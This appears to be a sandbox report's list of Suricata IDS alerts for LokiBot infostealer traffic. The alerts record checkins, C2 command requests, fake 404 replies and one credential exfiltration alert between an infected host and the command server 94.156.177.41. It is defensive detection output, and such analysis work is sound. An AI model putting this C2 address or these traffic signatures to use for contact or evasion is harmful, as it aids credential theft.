Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49236
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49196 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49241 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49233
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49241
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49198 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49229 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49170 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49245 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49246 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49229 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49192
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49196
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49197 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49202 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49173 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49176
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49194
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49202
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49245 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49246 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49246 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49222 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49223 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49223 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49223 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49221 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49221 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49221 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49229
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49221 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49221 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49222
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49247 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49174
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49173
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49197
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49245 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49223 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49223 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49231 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49246 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49245 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49221
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49223
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49170
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49198
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49239 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49247
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49242 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49209 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49242
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49226 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49226
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49212
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49231
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49234 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49245
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49204 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49238 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49246 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49183 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49243 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49234
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49204
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49208 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49238
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49248 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49209
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49239
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49208
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49183
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49246
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49248
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49243
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49219 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024312 - Severity 1 - ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1 : 192.168.2.22:49169 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49201 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49219
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49211 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49201
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49211
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49217 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49215 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49224 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49224
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49240 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49215
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49240
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49230 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49230 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49230 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49230 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49230 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49217
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49230
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49232 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49232 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.22:49232 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.22:49232 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.22:49232 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025483 - Severity 1 - ET MALWARE LokiBot Fake 404 Response : 94.156.177.41:80 -> 192.168.2.22:49232
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49237 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.22:49172 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.22:49172 -> 94.156.177.41:80
